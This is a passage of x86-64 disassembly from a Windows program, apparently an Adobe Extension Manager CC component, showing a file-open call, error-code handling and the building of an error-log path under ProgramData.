mov rcx, qword [rcx]
mov rcx, qword [rcx + rdx*8]
mov rdx, qword [rbp + 0x2c20]
mov qword [rdx], rcx
mov rbx, r14
movzx r12d, byte [rbp + 0x2be0]
mov r14d, dword [rsp + 0xa0]
mov r13, rax
jmp 0x14002e24e
mov ecx, ebx
mov rax, qword [rdx]
mov rax, qword [rax + rcx*8]
mov rcx, qword [rbp + 0x2c20]
mov qword [rcx], rax
mov rbx, r15
mov rcx, qword [r15]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r13d, eax
cmp rdi, 0xffffffffffffffff
movzx r12d, byte [rbp + 0x2be0]
mov r14d, dword [rsp + 0xa0]
movzx r15d, byte [rbp + 0x2be8]
jne 0x14002e24e
mov eax, r13d
and eax, 0xfffffffe
cmp eax, 0x20
jne 0x14002f863
cmp r15b, 1
jg 0x14002f806
movsxd rax, r14d
mov rcx, qword [0x1402882d8]
shl rax, 3
lea rsi, [rax + rax*2]
movzx edi, r12b
mov rax, qword [rcx + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.140070b30
mov rax, qword [0x140288290]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, qword [rax + rsi]
mov rdx, rbx
call fcn.14001fc30
mov rax, qword [0x1402882d8]
jmp 0x14002f851
cmp r15b, 2
jne 0x14002f863
movsxd rax, r14d
mov rcx, qword [0x1402882f0]
shl rax, 3
lea rsi, [rax + rax*2]
movzx edi, r12b
mov rax, qword [rcx + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.140070b30
mov rax, qword [0x1402882a8]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, qword [rax + rsi]
mov rdx, rbx
call fcn.14001fc30
mov rax, qword [0x1402882f0]
mov rax, qword [rax + rsi]
mov rcx, qword [rax + rdi*8]
call fcn.140070b60
jmp 0x14002f6c7
cmp r15b, 3
jg 0x14002f885
lea ecx, [r13 - 0x22]
xor eax, eax
cmp ecx, 0xfffffffd
ja 0x14002f6c9
cmp byte [0x140227110], 0
jne 0x14002f6c9
mov rdi, qword [rbx]
lea rsi, [rsp + 0x390]
mov rcx, rsi
mov edx, r13d
call fcn.140073b60
lea r8, str._error:
mov rcx, rsi
xor edx, edx
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x980], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x970], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x970], 1
je 0x14002f8e5
mov rbx, qword [rsp + 0x980]
jmp 0x14002f8ed
lea rbx, [rsp + 0x972]
xor esi, esi
movaps xmmword [rsp + 0x200], xmm0
test rdi, rdi
je 0x14002f990
test rbx, rbx
je 0x14002f990
movabs r13, 0x100000000
mov rcx, rdi
call sub.msvcrt.dll_wcslen
mov r15, rax
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r14, rax
mov r12d, r15d
add r12d, r14d
shl r12, 0x20
add r12, r13
sar r12, 0x1f
nop word [rax + rax]
mov rcx, r12
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002f940
mov rsi, rax
mov qword [rsp + 0x200], rax
movsxd r15, r15d
lea r8, [r15 + r15]
mov rcx, rax
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsi + r15*2]
shl r14, 0x20
add r14, r13
sar r14, 0x1f
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x208], 0
movzx ebx, byte [0x140288308]
mov ecx, ebx
and cl, 1
je 0x14002f9a7
mov rbx, qword [0x140288310]
jmp 0x14002f9aa
shr rbx, 1
lea rdi, [rbx + 0x36]
movabs rax, 0x7fffffffffffffef
cmp rdi, rax
ja 0x14002fb58
cmp rdi, 0xa
ja 0x14002f9ed
xorps xmm0, xmm0
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
add dil, dil
mov byte [rsp + 0x110], dil
xor eax, eax
jmp 0x14002fa2f
mov r14, rdi
or r14, 7
inc r14
js 0x14002fb6a
lea rcx, [r14 + r14]
call fcn.14006fb50
or r14, 1
mov qword [rsp + 0x110], r14
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x118], rdi
movzx ecx, byte [0x140288308]
and cl, 1
mov edi, r14d
test dil, 1
lea rdi, [rsp + 0x112]
cmovne rdi, rax
test cl, cl
je 0x14002fa4c
mov rdx, qword [0x140288318]
jmp 0x14002fa53
lea rdx, [0x14028830a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str.ProgramDataAdobeExtension_Manager_CCLogs_fails.txt]
movups xmmword [rdi + rbx*2], xmm0
movups xmm0, xmmword [0x1401fa84e]
movups xmmword [rdi + rbx*2 + 0x10], xmm0
movups xmm0, xmmword [0x1401fa85e]
movups xmmword [rdi + rbx*2 + 0x20], xmm0
movups xmm0, xmmword [0x1401fa86e]
movups xmmword [rdi + rbx*2 + 0x30], xmm0
movups xmm0, xmmword [0x1401fa87e]
movups xmmword [rdi + rbx*2 + 0x40], xmm0
movups xmm0, xmmword [0x1401fa88e]
movups xmmword [rdi + rbx*2 + 0x50], xmm0
movups xmm0, xmmword [0x1401fa89a]
movups xmmword [rdi + rbx*2 + 0x5c], xmm0
mov word [rdi + rbx*2 + 0x6c], 0
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x200]
lea r8, [rsp + 0x110]
mov r9d, 0x7d0
mov ecx, 1
call fcn.140029e00
test byte [rsp + 0x110], 1
je 0x14002faf5
mov rcx, qword [rsp + 0x120]
call fcn.14006fbd0
mov rcx, rsi
call fcn.1401f47c0
test byte [rsp + 0x970], 1
je 0x14002fb14
mov rcx, qword [rsp + 0x980]
call fcn.14006fbd0
test byte [rsp + 0x390], 1
je 0x14002f6c7
mov rcx, qword [rsp + 0x3a0]
call fcn.14006fbd0
jmp 0x14002f6c7
mov rax, qword [rbp + 0x2c00]
mov eax, dword [rax + 0x38]
mov qword [rsp + 0xe0], rax
jmp 0x14002f0ef
lea rcx, [rsp + 0xf0]
call fcn.140002ec0
lea rcx, [rsp + 0x110]
call fcn.140002ec0
call fcn.140002f60
call fcn.140002f60
mov rbx, rax
test byte [rsp + 0x110], 1
je 0x14002fbb4
mov rcx, qword [rsp + 0x120]
call fcn.14006fbd0
jmp 0x14002fbb4
mov rcx, rsi
call fcn.1401f47c0
test byte [rsp + 0x970], 1
je 0x14002fbd3
mov rcx, qword [rsp + 0x980]
call fcn.14006fbd0
test byte [rsp + 0x390], 1
je 0x14002fc20
mov rcx, qword [rsp + 0x3a0]
jmp 0x14002fc1b
call fcn.14006fbd0
mov rcx, rbx
call fcn.14009a110
int3